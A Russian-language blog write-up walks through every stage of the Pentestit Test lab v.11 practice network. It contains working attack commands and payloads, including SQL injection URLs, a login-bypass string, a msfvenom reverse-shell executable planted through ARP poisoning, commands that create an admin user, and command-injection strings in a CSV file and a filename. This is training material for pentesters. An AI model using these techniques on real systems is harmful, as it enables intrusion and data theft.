Пентест-лаборатория «Pentestit Test lab v.11» — полное прохождение

 Источник материала: habrahabr.ru

Alexey Stoletny

30-го июня вновь запустилась пентест лаборатория компании Pentestit. Уже много лет эти лаборатории дают возможность проверить себя в роли пентестера в виртуальной компании со своими бизнес-процессами, серверами, сотрудниками и проблемами, узнать и опробовать современные уязвимости и отточить свои навыки в аудитах приложений и пентесте, максимально приближенном к реальному.
Эта лаборатория уже 11-я по счету. Описания десятой, девятой, восьмой, седьмой и шестой лабораторий тоже доступны, и могут пригодиться в подготовке к участию, если вы этого еще не сделали.
Как и в прошлый раз, спустя 11 суток лаборатория была пройдена первыми участниками, собравшими 12 токенов, которые подтверждают полное решение очередной задачи, будь то получение доступа в БД, проникновение и повышение привилегий на Linux-сервере или успешное выполнение MiTM-атаки на ноутбук директора виртуальной компании Test.Lab.
Эта статья описывает все этапы прохождения пентест-лаборатории Test.Lab 11 для всех, кому интересно погрузиться в область пентеста или узнать, как решалась конкретная задача.

Disclaimer

Я не являюсь сотрудником или аффилированным лицом компании Pentestit. Этот документ описывает шаги, которые я предпринял, чтобы решить задания в лаборатории. Мои личные рекомендации и предпочтения никаким образом не относятся к официальному мнению компании Pentestit.

Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.

Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании Test.Lab.

Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.
Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь самое время.

После подключения, нам становятся доступны два шлюза — 192.168.101.10 и 192.168.101.11, за которыми скрывается следующая сеть:

С учетом того, что в этот раз легенды о каком-либо вымышленном названии компании нет, пассивный сбор информации из открытых источников вряд ли поможет — поиск по «test.lab» даст очень много лишнего. Поэтому перейдем к сканированию портов:

Из результатов понятно, что нам доступны два сайта (основной сайт компании и CRM, как выяснится позже), почтовые сервисы (доступ к веб почте и SMTP) и SSH на нестандартном порту 2222. Если просканировать все порты, используя ключ -p-, так же можно найти OpenVPN на порту 1194 хоста 192.168.101.10.
Полезно будет также просканировать UDP порты, однако мы начнем анализировать доступные нам сервисы один за другим.
В начале пентеста нужно постараться определить максимально реалистичные цели для предстоящей атаки. Так, сразу можно отсечь SSH сервер, который требует аутентификацию по ключу и OpenVPN сервер, ожидающий конфигурационный файл для подключения (хотя для OpenVPN варианты возможны, в случае отсутствия других уязвимостей). Кроме того, на почтовые сервера можно попробовать подобрать пароли к учетным записям сотрудников, но для этого нужно знать имена этих записей или имейлы сотрудников.
После беглого анализа сайта компании, доступного на порту 80, становится понятно, что он защищен с помощью web application firewall, так как большинство «агрессивных» запросов зарабатывают нашему IP бан на фаерволле на 2 минуты. Перебор директорий, или активное сканирование с помощью утилит вроде Burp Suite приводит к постоянным ошибкам 403.

Сконцентрируем внимание на CRM системе Vtiger, которая, на первый взгляд, и является тем самым low-hanging fruit, который мы ищем.

Система Vtiger на первый взгляд не защищена WAF-ом, и при этом версия 6.3.0 содержит в себе уязвимость, предоставляющую нам возможность получить шелл на этом сервере:

Но, к сожалению, не все так быстро — как видим, для начала необходимо авторизоваться в CRM, так как уязвимость — authenticated RCE. Изучим ее повнимательнее!

Не найдя ничего интересного в подкаталогах, и установив себе копию Vtiger 6.3.0 (которую можно скачать

здесь

) понимаем, что имя пользователя по умолчанию — admin. Попробуем воспользоваться Burp Suite чтобы подобрать пароль.

В этой статье меньше внимания будет уделено настройке инструментов вроде Kali и Burp Suite, и больше — специфике конкретных заданий в лаборатории. Обзор инструментов выходит за рамки этой статьи, но деталей об этом в сети очень много.
Настроив Burp Suite на перебор пароля по большому словарю из SecLists (100 тыс паролей), с пользователем admin, получаем нужный пароль:

И, наконец, заходим в систему:

Судя по паролю и нику администратора в CRM (обратите внимание на него в правом верхнем углу — еще пригодится при взятии почты), становится понятно что администратор — серьезный фанат Звездных Войн.
Используем вышеупомянутую уязвимость для загрузки шелла после аутентификации. Для этого переходим на CRM Settings > Templates > Company Details, и редактируем логотип, меняя его на однострочный шелл, предварительно включив перехват трафика в Burp Suite:

Перехватив запрос в Burp, возвращаем расширение php загружаемому файлу (альтернативой было бы сразу загружать PHP файл, но при этом поменять mime type загружаемого объекта на image/jpeg в Burp Suite). Отдельно нужно отметить, что необходимо убрать вхождения строки «php» в загружаемом шелле, иначе Vtiger CRM отфильтрует такое «изображение» (нам достаточно символов <?):

Теперь можно походить по серверу в поисках токена с помощью нашего шелла:

Готово! Первый токен взят.

Как мы помним, после взятия CRM, стало понятно, что администратор, с имейлом admin@test.lab — фанат Звездных Войн. Попробуем зайти в почту как admin@test.lab используя ник администратора из CRM в качестве пароля:

Нашелся SSH-ключ для пользователя tech:

С этим ключом удается подключиться к SSH серверу:

И, таким образом, мы оказываемся внутри сети филиала компании. Подключившись на новый сервер, полезно изучить его со всех сторон, чтобы понять какая информация доступна для дальнейшего продвижения внутри сети либо повышения привилегий. Хороший чеклист того, что нужно обязательно проверить можно найти здесь.
Изучив, в частности, crontab, выясняем, что здесь есть подключение к OpenVPN. Несмотря на то, что сами скрипты недоступны нам в папке /opt, кое-что полезное извлечь все же можно:

Таким образом, мы узнаем имя пользователя Office-2, и необходимый для подключения сертификат. Составив на основании этих данных нужный конфигурационный файл (ниже), воспользуемся скриптом для перебора паролей к OpenVPN. Скрипт придется немного поменять для того, чтобы внешний OpenVPN не отключался при каждой попытке.

client
dev tun
proto tcp
remote 192.168.101.10 1194

auth-user-pass 
resolv-retry infinite
persist-key
persist-tun
comp-lzo
verb 3

<ca>
-----BEGIN CERTIFICATE-----
MIIEXjCCA0agAwIBAgIJAKYiQCcisQFFMA0GCSqGSIb3DQEBCwUAMHwxCzAJBgNV
BAYTAlJVMQ8wDQYDVQQIEwZNb3Njb3cxDzANBgNVBAcTBk1vc2NvdzERMA8GA1UE
ChMIQ29tYXBhbnkxCzAJBgNVBAsTAklUMRkwFwYDVQQDExBjb21wYW55LnRlc3Qu
bGFiMRAwDgYDVQQpEwdFYXN5UlNBMB4XDTE3MDQwMjE0NDIzMFoXDTI3MDMzMTE0
NDIzMFowfDELMAkGA1UEBhMCUlUxDzANBgNVBAgTBk1vc2NvdzEPMA0GA1UEBxMG
TW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkGA1UECxMCSVQxGTAXBgNVBAMT
EGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vhc3lSU0EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDdcIqS/FA1M8NhiFfiQFKdxUMePwHK2UgmshXS
48Jeshl7qjHAfLQl2Pex83gbNWud9av4yp1H4m3iwGaqTQPaxgOmzoV6vMN3Hnt7
Vk9eqTpGaODFC6IrSrnE9bYL7E90ra0PWHZY9dshup/L+uasg7OrUHHQhXV6e5GR
C0jAmqUp8Wj61DZDuyvkQE8nDUUdxEObUgdZF5dq4aHKkBFL1iC3+f+aSA6//QTM
kNYzrGv2s0cpkZI8zV4ZT+YgXgWMBJfszIU1AFegNLfksgpyR+IP3YjjkQ4s6wQd
HBTkWsLSf4zusgTYkHpG3mP0z4o7/r4RiEywrJidgE5cN2wbAgMBAAGjgeIwgd8w
HQYDVR0OBBYEFONOp29lTyyDD8E1wzF+rOl1LAlcMIGvBgNVHSMEgacwgaSAFONO
p29lTyyDD8E1wzF+rOl1LAlcoYGApH4wfDELMAkGA1UEBhMCUlUxDzANBgNVBAgT
Bk1vc2NvdzEPMA0GA1UEBxMGTW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkG
A1UECxMCSVQxGTAXBgNVBAMTEGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vh
c3lSU0GCCQCmIkAnIrEBRTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IB
AQBYVZ+3ZjvMjOjOk8zgmMWHaf153ptbFf53c1YtxmDFKWbDo7mG0JmN318T+Kh/
/fxNOha1a2WdQ97yPCR8llz08ZIWLm2n38JdhWCuSZPsozYIGOQX1rZ4lj+8T0kb
hF1vr0KOCI6ODTwPEPJwAd9mcdRQK0Jd52WvuvdGQKUC8DPPDo4B2VHAn8KIDIJp
b+mecHvvxGTSzo4k5nz4bdpYit9i9HayvJ3uIjt05jciQkp5bi5YUXEpq0cspNLr
awoYzU/p/oTvFG8sn8EWAl6pPonQUCGka7GRG2Q9Na9QysMG8H5hITZ7d5VngyrJ
vwj14awsaPvMoIgk8C8Zrkuu
-----END CERTIFICATE-----
</ca>

Подбираем пароль с использованием небольшого словарика по мотивам starwars (ведь администратор — фанат, как мы уже поняли):

И затем успешно подключаемся к внутреннему VPN, после чего нам становится видна подсеть 172.16.0.0/24, отображенная на схеме сети выше.

После получения доступа во внутреннюю сеть, и проведения сканирования с помощью nmap, обнаруживаем на 172.16.0.11:80 тот же сайт, что был доступен снаружи, теперь без защиты WAF-ом. Немного изучив исходный код страницы, становится понятно, что перед нами Wordpress версии 4.8, в котором тут же бросается в глаза плагин kittycatfish,

уязвимый

к SQL инъекции, по адресу /wp-content/plugins/kittycatfish-2.2/.

В описании эксплоита указано, что Инъекция находится в файле base.css.php, в параметре kc_ad. Поищем его на

GitHub

:

$kc_ad = $_GET['kc_ad'];
$kc_ad_meta = kittycatfish_ad_get_meta($kc_ad);

После изучения kittycatfish.php становится понятно, что в CSS добавляется значение kc_ad_css, и, соответственно, инъекция может выглядеть следующим образом:

    http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(select%20@@version)

Версия получена. Теперь получим название таблицы:

http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(table_name)%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20GROUP%20BY%20table_name%20LIMIT%200,1)

И наконец токен в имени колонки:

http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(column_name)%20FROM%20information_schema.columns%20WHERE%20table_name=0x746c5f746f6b656e%20GROUP%20BY%20table_name%20LIMIT%200,1)

Готово! Кстати, все hex значения получены следующими командами:

$ echo -n kc_ad_css | xxd -p
6b635f61645f637373
$ echo -n tl_token | xxd -p
746c5f746f6b656e

Вернемся на некоторое время в сеть филиала «The Second Office», которая стала доступна нам благодаря подключению к SSH: компьютеры 192.168.13.1-3, и просканируем доступные порты (так как они не отвечают на ping, нужно использовать ключ -Pn):

Найдя RDP, попробуем подключиться к нему, предварительно пробросив нужный порт, используя ~C — командную консоль SSH-клиента:

В Remote Desktop есть такая особенность, которая позволяет узнать список пользователей на компьютере, если не передать никакое имя пользователя при подключении. Сделаем это с использованием xfreerdp:

xfreerdp /v:127.0.0.1 -sec-nla /u:""

Получив имена пользователей, воспользуемся crowbar, чтобы подобрать пароль — для RDP, в моем опыте, он всегда работает лучше чем Hydra или Medusa:

После успешного подбора пароля, попадаем на RDP:

Не найдя ничего интересного у пользователя arm554 продвигаемся дальше. Попробуем повысить привилегии, используя ms16_032, как описано, например, в этом видео:

xfreerdp /v:127.0.0.1 /u:"arm554" /drive:share,/root/pentestit

Скопировав MS16-032.ps1 из Exploit DB, получаем права администратора:

После чего, используя следующие команды создаем нового административного пользователя:

net user user1 <your_password> /add
net localgroup administrators user1 /add

Зайдя под user1, мы получаем доступ к папке user, в которой можно найти токен, а заодно и, по всей видимости, хеши паролей пользователей armXYZ, из которых не удален, судя по файлам, только arm554.

Эта информация пригодится нам в дальнейшем, для взятия AD, к чему мы и приступим.
Помимо машины 192.168.13.1, в филиале можно найти подходящие пароли к пользователям «user» на машинах 192.168.13.2 и 192.168.13.3 используя словарь, больший чем john.txt.

После получения на RDP и извлечения хеша, получаем возможность атаковать Active Directory, которая, согласно схеме сети, находится на 172.16.0.10. Сканирование портов только подтверждает, что это контроллер домена (а заодно и его название — TEST.LAB):

Воспользуемся модулем kerberos_enumusers из Metasploit, чтобы подтвердить существование arm554, используя Kerberos:

С учетом того, что установлен Windows 2012, попробуем выполнить pass-the-hash через SMBv3:

Получив список доступных shares, попробуем обратиться к files:

Получен токен, и файл network_test.txt со следующем содержимым:

Hi, mate! Need to test ARP-table in DIR subnet.
I'll install intercepter <логин и пароль к серверу в сети DIR>

К этому серверу у нас еще нет доступа, так как сначала нужно получить доступ к роутеру 172.168.0.252, указанному на схеме сети. Поэтому продолжим изучение подсети 172.16.0.0/24.

На 80-м порту машины 172.16.0.14, отображенной на схеме сети как CUPS, находим следующую страницу:

Административная панель ведет на адрес, закрытый basic-аутентификацией, тогда как local storage отображает, по всей видимости, самописное веб-приложение, с логин формой. Попробовав несколько базовых паролей, предполагаем наличие SQL инъекции, и входим в систему с такими данными:

admin
admin' or 1=1 -- -

После этого, нам становятся доступны сканы, сделанные в системе. Среди прочего, находим приватный ключ для подключения к роутеру, скрывающему от нас последнюю часть сети:

Потратив внушительное количество времени, чтобы разобрать каждый символ и правильно перенабрать его с изображения, удается подключиться к роутеру с именем morgan:

Воспользуемся sshuttle для удобного проброса портов в подсети 192.168.10.0/24, 192.168.11.0/24 и 192.168.12.0/24:

Просканировав сеть DIR и используя найденные на AD логин и пароль, подключаемся к 192.168.12.2 через RDP, и находим Intercepter в папке Soft, как и упоминалось в информации с контроллера домена:

Для начала, попробуем сделать ARP poisoning внутри подсети и посмотреть, не общаются ли между собой 192.168.12.1 (машина директора) и 192.168.12.3 (машина с веб-сервером на порту 80). Для этого просканируем сеть:

После того, как нужные машины найдены, выполним настройки как показано на скриншоте:

В данном случае, несмотря на то, что 192.168.12.3 — не шлюз, мы ставим в качестве шлюза именно его, потому что нас интересуют не коммуникации машины директора с внешней сетью, а коммуникации внутри этой подсети. Intercepter-NG будет отвечать машине 192.168.12.1 что он 12.3, и машине 12.3, что он 12.1. После этой настройки, перейдем на вкладку raw packets, и поставим Pcap-фильтр «port not 3389», чтобы исключить пакеты по RDP, которыми мы постоянно обмениваемся с машиной 12.2:

После этого, необходимо запустить sniffing, NAT и ARP poisoning для осуществления атаки:

В скором времени видим, что директор пытается загрузить quake3.exe с веб-сервера 192.168.12.3, но получает ошибку 404.

Исправим эту досадную ситуацию, сгенерировав reverse shell payload с помощью следующей команды:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.2 LPORT=80 -f exe > quake3.exe

После того, как файл загружен на RDP сервер, настроим внедрение этого файла в HTTP ответ. Для этого включаем SSL Strip (хотя файл и скачивается не по SSL, это нужно чтобы включить MiTM в Intercepter):

Затем настраиваем внедрение, выбрав загруженный нами «поддельный» quake3.exe:

Затем запускаем netcat listener, и разрешаем его через firewall:

И, наконец, включаем ARP poisoning снова, чтобы внедрить quake3.exe в ответ от веб-сервера, и тут же получаем шелл:

В документах находим SSH-ключ, и наш очередной токен!

Кроме того, поизучав сам 192.168.12.2, можно найти файл todo, который пригодится в дальнейшем:

Благодаря найденному ключу, мы можем попробовать зайти на машину 192.168.11.1, к которой теперь у нас есть и доступ через роутер (ключ к которому был найден в CUPS), и ключ remote, найденный на машине директора.

При подключении к 192.168.11.1 c использованием ключа remote, получаем форму, которая пробрасывает нас на другие компьютеры в сети (а именно, Srv1 = 172.16.0.16, с использованием пользователя aengineer и сохраненного ключа, или Srv2 = 192.168.10.1, так же с использованим логина aengineer).

Что-то подсказывает, что здесь есть command injection, и мы сможем выбраться за пределы этого скрипта и попасть на сам 11.1. Попробуем это сделать, используя стандартные разделители команд, такие как ;, |, & и другие:

Срабатывает точка с запятой! Консоль «застывает» на несколько секунд, если добавить sleep. При этом, если вместо Srv1 или Srv2 написать что-то другое, видим, что мы получаем сообщения из STDERR, тогда как вывод команд, которые выполняются успешно, скрыт. Попробуем перенаправить стандартный вывод на STDERR чтобы получить вывод результатов:

Работает! Теперь, используя эту технику получим полноценный шелл:

В папке /opt/gh находится скрипт, который запрашивал имя сервера. Как можно увидеть, в нем действительно есть command-injection уязвимость (а заодно и фильтр на bash, который мы обошли с помощью dash). Изучив этот сервер, единственная полезная информация — это ключ aengineer, с которым мы подключались на 172.16.0.16 и 192.168.10.1, который можно скопировать:

Таким образом, мы смогли попасть в сеть admin.

Подключившись к 192.168.10.1 как aengineer, вспоминаем, что файл, найденный на 192.168.12.2, упоминал FTP подключение к серверу на 192.168.10.1 на порту 2020. На всякий случай, попробуем включить netcat listener на этом порту:

И обнаруживаем, что действительно сервер получает коннект, однако дальше ничего не происходит. Так как подключение FTP — логично предположить, что подключившаяся сторона ожидает приветствия от FTP сервера прежде чем авторизоваться. Сэмулируем это с помощью простой команды:

Токен получен!

Продолжая находиться на 192.168.10.1, можно заметить, что от пользователя aengineer на этой машине разрешено делать tcpdump. Обычно такая конфигурация требует привилегий root, но здесь было, видимо,

настроено иначе

. В целом, на любой машине полезно проверять возможность записи трафика, так как он может рассказать много интересного. Сделаем это следующим образом:

После чего, открыв файл в Wireshark, можно найти трафик между 192.168.10.2 и 192.168.10.3 (CLOUD), следующего содержания:

Как видно, мы нашли пароль пользователя user к cloud-серверу. Попробуем зайти:

Получилось! Найден keepass-store с названием my_store.kdbx. Воспользуемся утилитой keepas2john чтобы извлечь хеш, и попробовать подобрать пароль:

Настраиваем hashcat, и находим пароль:

На картинке специально размыты только последние 4 символа пароля, для облегчения подбора. Пароль присутствует в словаре rockyou.txt. Теперь достаточно ввести этот пароль в keepass, и получить токен CLOUD!

Просканировав 192.168.11.5, находим сервис sendmail, в котором, вероятно, и есть Clamav. Проверим догадку с помощью соответствующего

эксплоита

. Пришлось потратить некоторое время, прежде чем стало ясно, что бекконнект через reverse shell работает только на 192.168.10.1:

Получили шелл! Но токен, пока еще, не доступен. С учетом того, что на машине присутствует нестандартная для этой сети конфигурация в виде установленного ossec, возникает подозрение, что необходимо проэскалировать привилегии. Для этого, поищем эксплоиты на ossec:

Самый вероятный эксплоит под номером 37265 — последний доступный local root exploit на сегодняшний день. Для эскалации необходимо сделать следующее:

1. Создать файл с именем «foo-$(chmod 777 etc)» в домашнем каталоге /home/clamav (мы не можем использовать слеши, и команды ossec выполняются в корневой директории — при желании обойти это ограничение можно через cd)
2. Отредактировать этот файл и создать еще один в том же каталоге
3. Когда нужные права на папку etc будут установлены, удалить файл passwd, а затем создать нужный нам с еще одним пользователем с ID 0 и известным паролем
4. Сделать su к этому пользователю

В нашем же случае, как выяснилось, достаточно прочесть содержимое директории root, что мы и сделаем:

Токен clamav получен. По завершению стоит вернуть права на директории на место, чтобы не испортить прохождение другим участникам.

Подключившись как aengineer к машине 172.16.0.16, обнаруживаем следующее:

Токен доступен только от пользователя www-data, при этом не доступен через web-сервер из-за строгих permissions. После изучения исходного кода ftpclient.py, login.php и parse.php, становится понятно следующее:

1. Чтобы войти в систему, достаточно перейти по адресу 172.16.0.16/parse.php?auth=asdfgtgrfedQWERsdfd
2. Файл parse.php отображает данные из db.csv, который периодически загружается с сервера FTP 172.16.0.17 с помощью ftpclient.py и учетных данных, указанных в нем
   
3. Загрузка выполняется от имени root, поэтому поменять файл на клиенте нет возможности
4. Внутри файла parse.php выполняется конвертация даты из db.csv в другой формат, при этом присутствует command injection уязвимость
5. Токен доступен исключительно на чтение от пользователя www-data.

Таким образом, чтобы проэскалировать привилегии до www-data, нам необходимо внедрить нужную команду в файл db.csv:

Name;Surname;In;Out;ID
Mireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611

Из ftpclient.py можно извлечь логин и пароль к FTP серверу на 172.16.0.17, но, к сожалению, файл db.csv на нем доступен нам только для чтения, поэтому заменить его нет возможности. На этом этапе полезно вспомнить, что у нас уже есть SSH-ключ пользователя aengineer, извлеченный из 192.168.11.1 — попробуем зайти под ним:

Это сработало! И теперь, как видно из прав доступа, у aengineer есть возможность писать в db.csv. Обновив файл вручную замечаем, что он постоянно обновляется из какой-то БД. Чтобы обеспечить постоянную доступность нового файла, пишем небольшой цикл на bash:

while true; do python -c 'print "Name;Surname;In;Out;ID\nMireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611"' > db.csv; sleep 2; done

И вот, файл db.csv обновлен уже на 172.16.0.16!

Теперь заходим на страницу parse.php, чтобы выполнилась команда из db.csv:

Теперь мы можем прочесть токен!

Затем, возвращаем предыдущие права 400 файлу token.sec таким же способом, чтобы не испортить прохождение другим участникам лаборатории. Еще один токен взят.

Как можно заметить, в этой лаборатории есть несколько машин, которые либо не представляют интерес, либо практически неуязвимы — это делает лабораторию еще ближе к реальной сети, где не каждый компьютер в сети имеет уязвимость. Поэтому важно продолжать сканирование сети с целью постоянного поиска новых сервисов.

Так, просканировав 192.168.11.3, находим открытый 80-й порт, на котором поднято приложение Ticket service, или HELPDESK:

Поискав скрытые директории с помощью dirsearch, находим папки

/admin

(закрыта basic-аутентификацией),

/_admin

с копией файла login.php,

/templates

с файлом head.html, и несколько менее интересных папок вроде fonts и css.

Изучив приложение, можно заметить, что при переходе на различные страницы внутри, от нас требуется авторизоваться под разными пользователями — от user до oper_1/2 и admin — очевидно, нашей главной цели.
Несмотря на то, что параметр cat в URL намекает на уязвимость типа Local File Inclusion, исходя из неудачных попыток и файла /templates/head.html можно сделать вывод, что эта уязвимость отсутствует. Кроме того, проверив SQL- и NoSQL-инъекции, и несколько других уязвимостей, решаем попробовать подобрать пароли к указанным пользователям: admin/user/oper_1/oper_2, а также пользователям, упомянутым в тикетах:

Используя Burp Suite таким же способом, как и с CRM, только в режиме Cluster Bomb, удалось подобрать пароли user/password и oper_2/oper_2, но, к сожалению, ни один из них не подходил для входа под пользователем admin. Кроме того, надежда, что формы редактирования или удаления тикетов станут доступны, и удастся найти какие-либо уязвимости в них — исчезла.

На мой взгляд, этот токен был самым сложным и интересным в лаборатории. Перед нами веб-приложение с всего двумя точками ввода: /login.php и /_admin/login.php, ни одна из которых не содержит уязвимостей, которые можно выявить невооруженным глазом.
После изучения тикетов, обращаем внимание на то, что авторы приложения по легенде исправили какие-то проблемы в хешировании. Поискав php hash vulnerability находим ключ к решению — Magic Hashes. Эта статья достаточно детально описывает суть уязвимости (версия на русском также доступна), поэтому я не буду повторять детальное описание здесь.
Уязвимость заключается в том, что из-за PHP type juggling может случиться ситуация, когда разные хеши (будь то MD5, SHA1 или другие) от разных паролей окажутся равны из-за автоматического приведения типов.
Попробовав приведенные в статье хеши в качестве паролей к пользователю admin на обеих страницах login.php, после долгих попыток приходит понимание, что, возможно, хеш берется от username + password. Тогда, чтобы не искать новый хеш удовлетворяющий требованиям, пробуем «разбить» MD5 и SHA1 хеши на две части, и заходим под admin c помощью такой ссылки:

http://192.168.11.3/_admin/login.php?login=10932&password=435112

.

Наконец, становится доступной вкладка Removed Tickets, где нас и ожидает долгожданный токен HELPDESK, вместе с паролем от SSH для получения токена SCREEN:

Получив пароль к SSH-серверу из HELPDESK, мы можем зайти и осмотреться:

Но, к сожалению, не далеко — мы ограничены шеллом restricted bash (rbash), который запрещает выходить в общую файловую систему и использовать слеши в командах. Обычно, выйти из restricted bash можно довольно просто, например так:

Осмотревшись в основной системе, видим что токен находится в /home/tester/token, но прав на его чтение у нас нет. Кроме того, на машине присутствует запись в cron, которая выполняет следующий скрипт:

Вот исходный код скрипта:

if (!-l $ARGV[0] && -f $ARGV[0]) {

 open $file1, $ARGV[0];
 $fname = <$file1>;
 chomp($fname);

 open ($file2, $fname) or die("$!");
 open $file3, '>>', "/tmp/testlog";
 $line = <$file2>;

 chomp ($line);
 print $file3 $line, "\n";

 close $file2;
 close $file3;
 close $file1;
 unlink($ARGV[0]);

 sleep(1);
 open $file1, '>', "/tmp/testlog";
 close $file1;

}
else {
 exit(0);
}

Как видно из скрипта и параметров запуска, он получает имя файла для прочтения из файла в /build/log/, открывает этот файл и выводит содержимое в /tmp/testlog, после чего удаляет обработанный файл в /build/log и ждет одну секунду, в течение которой содержимое файла будет доступно. Так как команда выполняется от имени пользователя tester, мы можем эксплуатировать это для того, чтобы извлечь значение токена. Единственное, что осталось сделать — это создать файл в /build/log/, куда у нашего пользователя john доступа, к сожалению, нет. Попробуем это исправить.

В папке /build также находится screen, в котором установлен бит SGID, что означает, что screen будет выполнен от имени группы utmp:

При этом, в папку /build/log можно писать от имени группы utmp. Используя ключ -L в команде screen можно создать такой файл:

Как видим, файл был создан успешно от имени пользователя john. Включаем права на запись в этот файл для john, и вносим туда путь к файлу, который хотим прочесть, а затем запускаем вывод лог-файла в цикле:

Итак, последний токен SCREEN получен!
Весь материал здесь представлен исключительно в образовательных целях, поэтому ваши комментарии по прохождению лаборатории приветствуются — пусть как можно больше людей узнают о разных способах решения той или иной задачи.
Тем, кто еще не успел пройти лабораторию и испытать радость взятия каждой машины в сети, желаю удачи.
Спасибо Pentestit за интересную, сложную и реалистичную лабораторию! Спасибо читателю, что дошли до этого момента.
До встречи на новой лаборатории!